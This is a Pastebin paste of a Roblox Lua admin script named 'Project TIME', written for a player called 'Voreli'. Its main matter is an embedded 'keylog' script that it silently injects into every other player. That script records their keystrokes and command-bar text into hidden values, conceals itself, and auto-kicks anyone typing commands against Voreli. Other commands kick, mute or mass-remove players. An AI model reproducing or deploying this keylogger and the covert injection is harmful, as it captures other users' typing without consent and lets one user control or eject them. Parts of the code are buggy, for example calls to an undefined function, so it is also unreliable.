Advertisement
jordan83221

Untitled

Dec 4th, 2015
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 13.36 KB | None | 0 0
  1. --[[Project TIME]]--
  2. wait()
  3. script.Parent=nil
  4. local next=next
  5. local pcall=pcall
  6. local cos=math.cos
  7. local sin=math.sin
  8. local atan2=math.atan2
  9. local pi=math.pi
  10. local plr=game.Players.Voreli
  11. local camera=workspace.CurrentCamera
  12. local ease=0.05
  13. local tabs={}
  14. local dt=false
  15. local let=true
  16. local tabo=true
  17. local spin=true
  18. local clone
  19. local admins={}
  20. local superadmins={}
  21. local megaadmins={}
  22. local uberadmins={}
  23. local svals={}
  24. local function insert(tab,val)
  25.     tab[#tab+1]=val
  26. end
  27. local function remove(tab,val)
  28.    if type(val)~="number" then
  29.        for i,v in next,tab do
  30.             if v==val then
  31.                 tab[i]=nil
  32.             end
  33.         end
  34.     else
  35.         tab[val]=nil
  36.     end
  37. end
  38. function dist(part1,part2)
  39.     return (part1-part2).magnitude
  40. end
  41. local function easey(part,cframe)
  42.     local dx=cframe.X-part.CFrame.X
  43.     local dy=cframe.Y-part.CFrame.Y
  44.     local dz=cframe.Z-part.CFrame.Z
  45.     local vx=dx*ease;
  46.     local vy=dy*ease;
  47.     local vz=dz*ease
  48.     part.CFrame=CFrame.new(part.CFrame.X+vx,part.CFrame.Y+vy,part.CFrame.Z+vz)
  49. end
  50. local keylog=[[
  51.     local next=next
  52.     if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
  53.     local p=game.Players.LocalPlayer
  54.     local sv=Instance.new("StringValue",game.Lighting)
  55.     sv.Name=p.Name
  56.     local uis = game:GetService("UserInputService")
  57.     local slash=string.byte(47)
  58.     local val=Instance.new("StringValue",game.Lighting)
  59.     val.Name=p.Name.."*"
  60.     local function notify(stat)
  61.         local thing=Instance.new("StringValue",game.Lighting)
  62.         thing.Name="Notify_"..stat
  63.     end
  64.     uis.InputBegan:connect(function(input, typing)
  65.         if input.UserInputType == Enum.UserInputType.Keyboard then
  66.             if input.KeyCode == Enum.KeyCode.A then
  67.                 sv.Value=sv.Value..'a'
  68.             elseif input.KeyCode==Enum.KeyCode.B then
  69.                 sv.Value=sv.Value..'b'
  70.             elseif input.KeyCode==Enum.KeyCode.C then
  71.                 sv.Value=sv.Value..'c'
  72.             elseif input.KeyCode==Enum.KeyCode.D then
  73.                 sv.Value=sv.Value..'d'
  74.             elseif input.KeyCode==Enum.KeyCode.E then
  75.                 sv.Value=sv.Value..'e'
  76.             elseif input.KeyCode==Enum.KeyCode.F then
  77.                 sv.Value=sv.Value..'f'
  78.             elseif input.KeyCode==Enum.KeyCode.G then
  79.                 sv.Value=sv.Value..'g'
  80.             elseif input.KeyCode==Enum.KeyCode.H then
  81.                 sv.Value=sv.Value..'h'
  82.             elseif input.KeyCode==Enum.KeyCode.I then
  83.                 sv.Value=sv.Value..'i'
  84.             elseif input.KeyCode==Enum.KeyCode.J then
  85.                 sv.Value=sv.Value..'j'
  86.             elseif input.KeyCode==Enum.KeyCode.K then
  87.                 sv.Value=sv.Value..'k'
  88.             elseif input.KeyCode==Enum.KeyCode.L then
  89.                 sv.Value=sv.Value..'l'
  90.             elseif input.KeyCode==Enum.KeyCode.M then
  91.                 sv.Value=sv.Value..'m'
  92.             elseif input.KeyCode==Enum.KeyCode.N then
  93.                 sv.Value=sv.Value..'n'
  94.             elseif input.KeyCode==Enum.KeyCode.O then
  95.                 sv.Value=sv.Value..'o'
  96.             elseif input.KeyCode==Enum.KeyCode.P then
  97.                 sv.Value=sv.Value..'p'
  98.             elseif input.KeyCode==Enum.KeyCode.Q then
  99.                 sv.Value=sv.Value..'q'
  100.             elseif input.KeyCode==Enum.KeyCode.R then
  101.                 sv.Value=sv.Value..'r'
  102.             elseif input.KeyCode==Enum.KeyCode.S then
  103.                 sv.Value=sv.Value..'s'
  104.             elseif input.KeyCode==Enum.KeyCode.T then
  105.                 sv.Value=sv.Value..'t'
  106.             elseif input.KeyCode==Enum.KeyCode.U then
  107.                 sv.Value=sv.Value..'u'
  108.             elseif input.KeyCode==Enum.KeyCode.V then
  109.                 sv.Value=sv.Value..'v'
  110.             elseif input.KeyCode==Enum.KeyCode.W then
  111.                 sv.Value=sv.Value..'w'
  112.             elseif input.KeyCode==Enum.KeyCode.X then
  113.                 sv.Value=sv.Value..'x'
  114.             elseif input.KeyCode==Enum.KeyCode.Y then
  115.                 sv.Value=sv.Value..'y'
  116.             elseif input.KeyCode==Enum.KeyCode.Z then
  117.                 sv.Value=sv.Value..'z'
  118.             elseif input.KeyCode==Enum.KeyCode.Slash then
  119.                 sv.Value=sv.Value..'/'
  120.             elseif input.KeyCode==Enum.KeyCode.Space then
  121.                 sv.Value=sv.Value..' '
  122.             elseif input.KeyCode==Enum.KeyCode.Backspace then
  123.                 local t={}
  124.                 for i=1,val.Value:len() do
  125.                     table.insert(t,val.Value[i])
  126.                 end
  127.                 t[#t]=nil
  128.                 for i=1,#t do
  129.                     val.Value=t[i]
  130.                 end
  131.             end
  132.         end
  133.     end)
  134.     notify("Added.")
  135.     coroutine.resume(coroutine.create(function()
  136.         local gui=game.Players.LocalPlayer.PlayerGui.SB_OutputGUI.Task.InputBar
  137.         while gui.Text~="Click here or press (') to run a command" do
  138.             val.Value=gui.Text
  139.         end
  140.     end))
  141.     while wait() do
  142.         if string.find(sv.Value,'kick/vo')~=nil then
  143.             game:service'StarterGui':SetCoreGuiEnabled(3,false)
  144.         elseif string.find(sv.Value,'ban/vo')~=nil then
  145.             p:Kick()
  146.             notify(p.Name.." tried to kick Voreli and was removed.")
  147.         end
  148.     end
  149. ]]
  150. local function protect(p)
  151.  
  152. end
  153. local function makeBillboard(item, text)
  154.     local bg = Instance.new("BillboardGui", item)
  155.     bg.Enabled = true
  156.     bg.AlwaysOnTop = true
  157.     bg.Size = UDim2.new(5, -0.5, 5, 0)
  158.     local f = Instance.new("Frame", bg)
  159.     f.BackgroundTransparency = 1
  160.     f.Size = UDim2.new(2.5, 0, 1.25, 0)
  161.     local tb = Instance.new("TextBox", f)
  162.     tb.Size = UDim2.new(0.5, 0, 0.5, 0)
  163.     tb.FontSize = "Size36"
  164.     tb.Text = text
  165.     tb.TextStrokeTransparency = 0
  166.     tb.TextXAlignment = "Center"
  167.     tb.TextYAlignment = "Top"
  168.     tb.BackgroundTransparency = 1
  169.     tb.TextColor3 = Color3.new(0,0,1)
  170.     tb.Font="ArialBold"
  171.     if text == "Dismiss" then
  172.         tb.TextColor3 = Color3.new(1, 0, 0)
  173.         tb.TextStrokeColor3=Color3.new(0,0,0)
  174.     end
  175. end
  176. function notify(stat)
  177.     wait(0.1)
  178.     dt=false
  179.     tabo=true
  180.     local tab = Instance.new("Part", game.Workspace)
  181.     tab.Name = "Tab"
  182.     tab.CanCollide = false
  183.     tab.TopSurface = "Smooth"
  184.     tab.BottomSurface = "Smooth"
  185.     tab.Size = Vector3.new(4, 0.4, 6.6)
  186.     tab.Transparency = 0.5
  187.     tab.Anchored = true
  188.     tab.FormFactor = "Plate"
  189.     local tabad = Instance.new("Part",tab)
  190.     tabad.Name = "Tabad"
  191.     tabad.CanCollide = false
  192.     tabad.TopSurface = "Smooth"
  193.     tabad.BottomSurface = "Smooth"
  194.     tabad.Transparency = 0
  195.     tabad.BrickColor = BrickColor.new(1,1,1)
  196.     tabad.Anchored = true
  197.     local mesh = Instance.new("BlockMesh",tabad)
  198.     mesh.Scale = Vector3.new(0.5, 0.2, 1)
  199.     makeBillboard(tab,stat)
  200.     local sele = Instance.new("SelectionBox",tab)
  201.     sele.Adornee = tab
  202.     sele.Color = BrickColor.new(1,1,1)
  203.     sele.Transparency = 0
  204.     delay(0, function()
  205.         while wait() do
  206.             if let==true then
  207.                 for i = 0,.7,0.1 do
  208.                     tab.Size = Vector3.new(4,i,6.6)
  209.                     wait()
  210.                 end
  211.                 wait()
  212.                 for i = .7,0,-0.1 do
  213.                     tab.Size = Vector3.new(4,i,6.6)
  214.                     wait()
  215.                 end
  216.             end
  217.         end
  218.     end)
  219.     insert(tabs,{taba=tab,sel=sele,tabd=tabad})
  220.     coroutine.resume(coroutine.create(function()
  221.         for i,v in next,tabs do
  222.             local num=#tabs
  223.             local slice=(pi*2)/num
  224.             local radius=2+num
  225.             local angle=i*slice;
  226.             local x=cos(angle)*radius;
  227.             local y=60
  228.             local z=sin(angle)*radius;
  229.             tab.CFrame=camera.Focus*CFrame.new(x,y,z)
  230.             tabad.CFrame=camera.Focus*CFrame.new(x,y,z)
  231.         end
  232.     end))
  233. end
  234. game.Lighting.DescendantAdded:connect(function(obj)
  235.     if obj:IsA("ObjectValue") and obj.Name=="Potatoes" then
  236.         clone=obj.Value:Clone()
  237.         notify("Found!")
  238.         notify(clone.className)
  239.     end
  240. end)
  241. local function NL(code,par)
  242.     if clone then
  243.         if code and par then
  244.             local clo=clone:Clone()
  245.             local StringVal=Instance.new("StringValue",game.Players.Voreli.Backpack)
  246.             StringVal.Value=code
  247.             clo.Parent=par
  248.             StringVal.Name="Code"
  249.             clo.Disabled=false
  250.             notify("Ran script.")
  251.         end
  252.     end
  253. end
  254. local function logp(plr)
  255.  
  256. end
  257. local function wipe(tab)
  258.     for i=#tab,1 do
  259.         tab[i]=nil
  260.     end
  261. end
  262. workspace.DescendantRemoving:connect(function(obj)
  263.     for _,v in next,tabs do
  264.         if obj==v then
  265.             remove(tabs,obj)
  266.         end
  267.     end
  268. end)
  269. local t=5
  270. local function dismiss()
  271.     if dt==true and tabo==false then
  272.         spin=false
  273.         let=false
  274.         for i,v in next,tabs do
  275.             local num=#tabs
  276.             local slice=(pi*2)/num
  277.             local radius=(num)-t
  278.             local angle=i*slice;
  279.             local x=math.cos(angle)*radius;
  280.             local y=3
  281.             local z=math.sin(angle)*radius;
  282.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  283.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  284.             angle=angle+0.05
  285.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(30,0,0)
  286.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(30,0,0)
  287.             t=t+0.05
  288.             coroutine.resume(coroutine.create(function()
  289.                 for i=0.5,1,0.01 do wait()
  290.                     tabs[i].taba.Transparency=i
  291.                     tabs[i].tabd.Transparency=i
  292.                 end
  293.             end))
  294.             if t>20 then
  295.                 tabs[i].taba:Destroy()
  296.                 tabs[i].tabd:Destroy()
  297.                 table.remove(tabs,i)
  298.             end
  299.         end
  300.     end
  301. end
  302. local cmds={
  303.     ["log"]=function(a)
  304.         for _,v in next,game.Players:GetPlayers() do
  305.             if string.find(v.Name:lower(),a:lower())~=nil then
  306.                 local plr=v
  307.                 logp(plr)
  308.             end
  309.         end
  310.     end,
  311.     ["ff"]=function(a)
  312.         for _,v in next,game.Players:GetPlayers() do
  313.             if string.find(v.Name:lower(),a:lower()) ~= nil then
  314.                 pcall(function() Instance.new("ForceField",v.Character) end)
  315.             end
  316.         end
  317.     end,
  318.     ["cl"]=function(p)
  319.         for _,v in next,game.Players:GetPlayers() do
  320.             if string.find(v.Name:lower(),p:lower())~=nil then
  321.                 for i,g in next,game.Lighting:GetChildren() do
  322.                     if g then
  323.                         local a=string.match(g.Name,"(.*)*")
  324.                         if a==v.Name then
  325.                             notify(g.Value)
  326.                         end
  327.                     end
  328.                 end
  329.             end
  330.         end
  331.     end,
  332.     ["test"]=function(a)
  333.         for i=1,a do wait()
  334.             notify("")
  335.         end
  336.     end,
  337.     ["dt"]=function()
  338.         dt=true
  339.         tabo=false
  340.     end,
  341.     ["size"]=function()
  342.         spin=false
  343.         for i=1,#tabs do
  344.             tabs[i].taba.Size=Vector3.new(5,5,5)
  345.         end
  346.     end,
  347.     ["cspin"]=function()
  348.         spin=false
  349.     end,
  350.     ["lower"]=function()
  351.  
  352.     end,
  353.     ["kick"]=function(p)
  354.         for _,v in next,game.Players:GetPlayers() do
  355.             if string.find(v.Name:lower(),p:lower())~=nil then
  356.                 pcall(function()
  357.                     NLS([[game.Players.LocalPlayer:Kick()]],v.Backpack)
  358.                     notify("Kicked "..v.Name..".")
  359.                 end)
  360.             end
  361.         end
  362.     end,
  363.     ["grab"]=function(p)
  364.         for _,v in next,game.Players:GetPlayers() do
  365.             if string.find(v.Name:lower(),p:lower())~=nil then
  366.                 pcall(function()
  367.                     table.insert(tabs,v.Character.Torso)
  368.                 end)
  369.             end
  370.         end
  371.     end,
  372.     ["mute"]=function(p)
  373.         for _,v in next,game.Players:GetPlayers() do
  374.             if string.find(v.Name:lower(),p:lower())~=nil then
  375.                 pcall(function()
  376.                     NLS([[
  377.                         game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
  378.                     ]],v.Character)
  379.                     notify("Muted "..v.Name..".")
  380.                 end)
  381.             end
  382.         end
  383.     end,
  384.     ["unmute"]=function(p)
  385.         for _,v in next,game.Players:GetPlayers() do
  386.             if string.find(v.Name:lower(),p:lower())~=nil then
  387.                 pcall(function()
  388.                     NLS([[game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)]],v.Character)
  389.                     notify("Unmuted "..v.Name..".")
  390.                 end)
  391.             end
  392.         end
  393.     end,
  394.     ["protect"]=function(p)
  395.         for _,v in next,game.Players:GetPlayers() do
  396.             if string.find(v.Name:lower(),p:lower())~=nil then
  397.                 pcall(function()
  398.                     protect(v)
  399.                 end)
  400.             end
  401.         end
  402.     end,
  403.     ["sd"]=function()
  404.         for _,v in next,game.Players:GetPlayers() do
  405.             NLS([[game.Players.LocalPlayer:Kick()]],v.Character)
  406.         end
  407.     end,
  408.     ["nl"]=function(a)
  409.         NL([[]]..a..[[]],game.Players.Voreli.Backpack)
  410.     end
  411. }
  412. local function antimute()
  413.     NLS([[
  414.         wait()
  415.         script.Parent=nil
  416.         local next=next
  417.         local pcall=pcall
  418.         while wait() do
  419.             game:service'StarterGui':SetCoreGuiEnabled(3,true)
  420.         end
  421.     ]],game.Players.Voreli.Backpack)
  422. end
  423. antimute()
  424. local function chat(msg,plr)
  425.     if msg and plr then
  426.         local cmd,parm=string.match(msg,"(.*)/(.*)")
  427.         if cmd and parm and cmds[cmd] then
  428.             cmds[cmd](parm)
  429.         end
  430.     end
  431. end
  432. game.Lighting.DescendantAdded:connect(function(obj)
  433.     if obj:IsA("LocalScript") then
  434.         notify(obj.Name.." has been added to scripts!")
  435.     end
  436. end)
  437. game.Lighting.DescendantAdded:connect(function(obj)
  438.     if obj:IsA("StringValue") then
  439.         local a,b=string.match(obj.Name,"(.*)_(.*)")
  440.         if a and b then
  441.             notify(b)
  442.         end
  443.     end
  444. end)
  445. local function playerAdd(p)
  446.     if p then
  447.         if p.Name=="Voreli" then
  448.             p.Chatted:connect(function(m) chat(m,p) end)
  449.         else
  450.             NLS(keylog,p.Backpack)
  451.             print("Added.")
  452.         end
  453.     end
  454. end
  455. game.Players.PlayerAdded:connect(function(p) playerAdd(p) end)
  456. for _,v in next,game.Players:GetPlayers() do
  457.     playerAdd(v)
  458. end
  459. local function rot()
  460.     if tabo==true and dt==false then
  461.         for i,v in next,tabs do
  462.             local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
  463.             local y=0
  464.             local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
  465.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  466.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  467.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  468.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  469.         end
  470.     end
  471. end
  472. local function begin()
  473.     notify("")
  474.     notify("")
  475.     notify("")
  476.     notify("")
  477.     notify("")
  478.     notify("")
  479.     notify("")
  480.     notify("")
  481.     notify("")
  482.     notify("")
  483.     notify("")
  484.     notify("")
  485.     notify("")
  486.     notify("")
  487.     notify("")
  488.     notify("")
  489.     notify("")
  490.     notify("")
  491.     wait(5)
  492.     dt=true
  493.     tabo=false
  494. end
  495. game:service'RunService'.Stepped:connect(function() rot() end)
  496. game:service'RunService'.Stepped:connect(function() dismiss() end)
  497. begin()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement